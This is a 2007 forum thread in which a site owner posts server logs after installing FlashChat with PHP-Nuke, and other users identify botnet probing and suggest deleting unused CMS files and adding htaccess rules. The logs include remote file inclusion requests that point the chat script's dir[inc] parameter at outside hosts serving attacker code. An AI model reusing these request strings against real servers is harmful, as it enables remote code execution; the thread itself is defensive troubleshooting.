| Author |
Message |
hinksta
Worker
Joined: Dec 23, 2005
Posts: 226
Location: UK
|
 Posted:
Fri Jan 19, 2007 9:34 am |
 
|
Installed flashchat integrated with nuke a couple of days ago and today noticed this in my Error Log.
Is this some kind of an attack or a setting I haven't found yet?
| Code: | [Fri Jan 19 10:16:45 2007] [error] [client 69.65.99.242] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 10:12:10 2007] [error] [client 72.232.54.82] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 10:11:43 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 10:10:32 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 10:10:25 2007] [error] [client 200.32.5.111] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 10:09:40 2007] [error] [client 209.160.32.45] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 10:09:00 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 10:07:35 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 10:06:48 2007] [error] [client 84.234.70.80] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 10:06:15 2007] [error] [client 69.65.99.128] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 10:06:12 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:33:35 2007] [error] [client 69.93.43.2] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:32:52 2007] [error] [client 82.223.148.108] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:29:18 2007] [error] [client 72.18.159.5] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:19:55 2007] [error] [client 80.86.83.167] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:15:05 2007] [error] [client 69.13.39.114] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:11:27 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:11:09 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:11:02 2007] [error] [client 62.105.76.164] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:10:47 2007] [error] [client 69.65.99.242] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:10:40 2007] [error] [client 72.232.54.82] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:10:17 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:10:10 2007] [error] [client 202.8.85.46] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:09:57 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:09:34 2007] [error] [client 200.32.5.111] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:09:34 2007] [error] [client 194.50.163.175] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:09:15 2007] [error] [client 209.160.32.45] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:08:45 2007] [error] [client 72.232.54.82] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:08:38 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:08:26 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:07:31 2007] [error] [client 202.8.85.46] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:07:16 2007] [error] [client 84.234.70.80] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:07:15 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:07:14 2007] [error] [client 84.18.207.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:07:10 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:07:07 2007] [error] [client 69.65.99.128] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 09:04:08 2007] [error] [client 80.86.83.167] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 08:25:07 2007] [error] [client 195.214.44.149] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:51:59 2007] [error] [client 132.230.123.9] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:50:46 2007] [error] [client 195.214.44.149] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:37:28 2007] [error] [client 66.128.49.67] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:34:52 2007] [error] [client 69.13.39.114] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:32:22 2007] [error] [client 200.32.5.111] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:30:55 2007] [error] [client 72.232.54.82] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:30:36 2007] [error] [client 66.36.233.82] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:29:52 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:29:39 2007] [error] [client 69.65.99.128] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:29:33 2007] [error] [client 202.8.85.46] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:29:17 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:29:16 2007] [error] [client 84.234.70.80] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:29:15 2007] [error] [client 212.34.140.170] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:29:09 2007] [error] [client 69.65.99.242] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:28:55 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:28:49 2007] [error] [client 72.232.54.82] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:28:07 2007] [error] [client 66.36.233.82] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:28:01 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:27:49 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:27:48 2007] [error] [client 200.32.5.111] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:26:56 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:26:49 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:26:48 2007] [error] [client 66.36.233.82] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:26:45 2007] [error] [client 69.65.99.242] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:26:21 2007] [error] [client 209.160.32.45] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:25:58 2007] [error] [client 204.157.37.155] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:25:40 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 07:25:32 2007] [error] [client 148.243.232.98] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 06:56:41 2007] [error] [client 66.128.49.67] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 06:56:05 2007] [error] [client 195.214.44.149] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 06:15:37 2007] [error] [client 72.36.230.106] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php
[Fri Jan 19 06:15:07 2007] [error] [client 64.8.124.64] client denied by server configuration: /myserver/chat/inc/cmses/aedatingCMS.php |
|
|
|
 
|
|
persona_non_grata
Joined:
Posts: 0
|
| Posted:
Fri Jan 19, 2007 10:02 am |
|
well i know the stuff and own must of it but you might wanna remove it cause every time hackers find a weak point somewhere.
read also here...
continue using it at your own risk. |
|
|
|
|
|
hinksta
Worker
Joined: Dec 23, 2005
Posts: 226
Location: UK
|
| Posted:
Fri Jan 19, 2007 10:11 am |
|
lol your brother flame knows a thing or two about this
I've removed all but one of the cms files and added the htaccess
I'll have to keep an eye on this one. |
|
|
|
|
|
hinksta
Worker
Joined: Dec 23, 2005
Posts: 226
Location: UK
|
| Posted:
Fri Jan 19, 2007 11:08 am |
|
I'm guessing it's got something to do with these people, there may be more in tomorrows log.
| Code: | 80.237.132.50 - - [18/Jan/2007:17:29:37 -0500] "GET /chat/inc/cmses/aedatingCMS.php?dir[inc]=http://sese.by.ru/c.gif? HTTP/1.1" 403 1674 "-" "libww
217.115.84.178 - - [18/Jan/2007:23:57:10 -0500] "GET /chat/inc/cmses/aedatingCMS.php?dir[inc]=http://stx.yoll.net/vrw.txt? HTTP/1.1" 403 1679 "-" "libww
89.108.86.110 - - [19/Jan/2007:00:01:18 -0500] "GET /chat/inc/cmses/aedatingCMS.php?dir[inc]=http://stx.yoll.net/vrw.txt? HTTP/1.1" 403 1678 "-" "libww |
|
|
|
|
|
|
persona_non_grata
Joined:
Posts: 0
|
| Posted:
Fri Jan 19, 2007 1:41 pm |
|
yeah to bad that stuff isnt to be trusted fully yet....
but a friend of mine used one of the latest versions and his old host warned him mails were send out by the hundreds abusing the chat scripts. |
|
|
|
|
|
evaders99
Moderator
Joined: Apr 30, 2004
Posts: 2749
|
| Posted:
Fri Jan 19, 2007 2:23 pm |
|
That is just a botnet, trying to exploit things on your server. If you do not have that file, you do not need to worry.
However, you should be worried if you are using any vulnerable scripts. Old versions of phpNuke, phpBB, vWar, SQuery... etc etc etc |
|
|
|
|
|
persona_non_grata
Joined:
Posts: 0
|
| Posted:
Fri Jan 19, 2007 2:35 pm |
|
but he does have that file....,i mean it comes standard.
but i think it can be deleted as it is not required when using for nuke. |
|
|
|
|
|
hinksta
Worker
Joined: Dec 23, 2005
Posts: 226
Location: UK
|
| Posted:
Fri Jan 19, 2007 2:40 pm |
|
yeah i've deleted it and the htaccess was already sorted, it must have been an update in this last version |
|
|
|
|
|
persona_non_grata
Joined:
Posts: 0
|
| Posted:
Fri Jan 19, 2007 2:41 pm |
|
well if its only for nuke you can delete every non nuke related file...
also secure any admin area if possible....
and keep an eye on its traffic..... |
|
|
|
|
|
|
|
|
|
![[Valid RSS]](http://ravenphpscripts.com/images/valid-rss.png "Validate my RSS feed"){kind=small}
:: 
::
